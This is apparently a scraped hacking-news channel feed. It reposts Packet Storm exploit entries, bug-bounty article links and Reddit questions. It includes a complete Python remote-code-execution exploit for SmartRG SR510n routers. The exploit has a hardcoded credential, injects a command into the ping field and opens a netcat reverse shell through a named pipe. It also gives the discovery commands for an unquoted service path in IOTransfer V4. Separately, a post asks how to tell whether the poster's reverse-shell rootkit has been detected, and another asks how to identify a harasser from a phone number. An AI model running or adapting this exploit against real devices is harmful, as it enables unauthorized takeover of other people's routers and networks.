Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
IOTransfer 4 Unquoted Service Path

https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
IOTransfer version 4 suffers from an unquoted service path vulnerability.

SHA-256 | 2515cc0396c9fe28d6463554e021cf6e157431616218c48cd4778c46dd153be4

Download

# Exploit Title: IOTransfer V4 - Unquoted Service Path
# Exploit Author: BLAY ABU SAFIAN (Inveteck Global)
# Discovery Date: 2022-28-07
# Vendor Homepage: http://www.iobit.com/en/index.php
# Software Link: https://iotransfer.itopvpn.com/download/
# Tested Version: V4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows Server 2019 Standard Evaluation CVE-2022-37197
# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

IOTransfer Updater IOTUpdaterSvc C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe
Auto

C:\>sc qc IOTUpdaterSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IOTUpdaterSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : IOTransfer Updater
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\>systeminfo

OS Name: Microsoft Windows Server 2019 Standard Evaluation
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

IOTransfer 4 Unquoted Service Path

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

9 viewsedited 17:01

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
SmartRG Router SR510n 2.6.13 Remote Code Execution

https://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png
SmartRG Router SR510n version 2.6.13 suffers from a remote code execution vulnerability.

SHA-256 | dba419bb745ff6282406231b1e06978a7526ccc1828d7e4bb7c0dee6d345cbe1

Download

# Exploit Title: SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution)
# Date: 13/06/2022
# Exploit Author: Yerodin Richards
# Vendor Homepage: https://adtran.com
# Version: 2.5.15 / 2.6.13 (confirmed)
# Tested on: SR506n (2.5.15) & SR510n (2.6.13)
# CVE : CVE-2022-37661

import requests
from subprocess import Popen, PIPE

router_host =3D "http://192.168.1.1"
authorization_header =3D "YWRtaW46QWRtMW5ATDFtMyM=3D"

lhost =3D "lo"
lport =3D 80

payload_port =3D 81
def main():
e_proc =3D Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm=
p/s | nc {lhost} {lport} > /tmp/s"], stdout=3DPIPE)
Popen(["nc", "-nlvp", f"{payload_port}"], stdin=3De_proc.stdout)
send_payload(f"|nc {lhost} {payload_port}|sh")
print("done.. check shell")
def get_session():
url =3D router_host + "/admin/ping.html"
headers =3D {"Authorization": "Basic {}".format(authorization_header)}
r =3D requests.get(url, headers=3Dheaders).text
i =3D r.find("&sessionKey=3D") + len("&sessionKey=3D")
s =3D ""
while r[i] !=3D "'":
s =3D s + r[i]
i =3D i + 1
return s
def send_payload(payload):
print(payload)
url =3D router_host + "/admin/pingHost.cmd"
headers =3D {"Authorization": "Basic {}".format(authorization_header)}
params =3D {"action": "add", "targetHostAddress": payload, "sessionKey"=
: get_session()}
requests.get(url, headers=3Dheaders, params=3Dparams).text
main()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

SmartRG Router SR510n 2.6.13 Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

11 viewsedited 17:01

Hacking Articles Tips Tricks Videos Tutorials

From Shodan Dork to Grafana Local File Inclusion
https://varmaanu001.medium.com/from-shodan-dork-to-grafana-local-file-inclusion-e77dc4cfc264?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

From Shodan Dork to Grafana 📊Local File Inclusion

Hi readers 📖, This is my new article on local file inclusion I found using shodan recon and further exploiting grafana service.

10 viewsedited 17:09

Hacking Articles Tips Tricks Videos Tutorials

12 views17:09

Hacking Articles Tips Tricks Videos Tutorials

Hi readers 📖, This is my new article on local file inclusion I found using shodan recon and further exploiting grafana service.Continue reading on Medium » (https://varmaanu001.medium.com/from-shodan-dork-to-grafana-local-file-inclusion-e77dc4cfc264?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

From Shodan Dork to Grafana 📊Local File Inclusion

Hi readers 📖, This is my new article on local file inclusion I found using shodan recon and further exploiting grafana service.

12 viewsedited 17:09

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
are there ways to tell if my rootkit had been detected?

it's a simple tcp reverse shell for linux, I'm wondering if there are methods to tell if it had been detected, something to give me a warning, thx in advance

submitted by /u/Artemis-4rrow
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

are there ways to tell if my rootkit had been detected?

it's a simple tcp reverse shell for linux, I'm wondering if there are methods to tell if it had been detected, something to give me a warning, thx...

10 viewsedited 18:13

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
I’m at a loss. I have a stalker.

I have a phone number and nothing more to provide other than a few fake photos this person has sent me of different people they’ve tried being.

They call me from No Caller ID, so blocking them just isn’t an option. If I turn on to not accept unknown callers- I miss important callers like doctors appts, ect. So can’t do that.

They watch my business pages Instagram stories to see what I’m doing from a WEBSITE called StorySaver.net …lol. They admitted this to me. They changed their location to my town on dating profiles (tinder, hinge)

I need peace of mind. They have already found my home address and left a handwritten letter 4 years ago with no stamps- so they put it in my mailbox by hand..

Going back to the phone number- It is an iMessage number ( 909 Cali area code currently ) but everytime I trace it, I either can’t find anything on it OR some guy named Victor is attached to it but I have a feeling that he was the numbers previous Owner.

I feel as if this person has given me “hints” as to who they are, but it’s been 5 years. And I’m over it. At first I thought I could crack this case myself, but I can’t. Originally he had a PA area code (570) but sometime last year he changed it to a Cali one to throw me off maybe.

I have a few locations(states) they either potentially dwelled in and/or lived.

Can anyone give me hints or tips? I need to find out who this is. I have checked every single website that Google suggests when looking for someone attached to a phone number.

I have the selfies I can provide as well. That are obviously more than likely fake. Anything would be appreciated. I’m Kinda over being scared of this person. (Side note- I reverse searched the selfie images too…no luck) I am so god damn lost and over being harassed.

Also cops are useless in this manner. TIA

submitted by /u/ImageSea2916
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

I’m at a loss. I have a stalker.

I have a phone number and nothing more to provide other than a few fake photos this person has sent me of different people they’ve tried being....

11 viewsedited 18:13

Hacking Articles Tips Tricks Videos Tutorials

How to find (“Business_logics”) AND (”Broken Access Control”) Bugs !
https://0xm5awy.medium.com/how-to-find-business-logics-and-broken-access-control-bugs-a31c1a03ced4?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

How to find (“Business_logics”) AND (”Broken Access Control”) Bugs !

Hello Awesome Hackers, I hope you all doing well! My name is Mohamed Anani Or 0xM5awy.

7 viewsedited 18:22

Hacking Articles Tips Tricks Videos Tutorials

6 views18:22

Hacking Articles Tips Tricks Videos Tutorials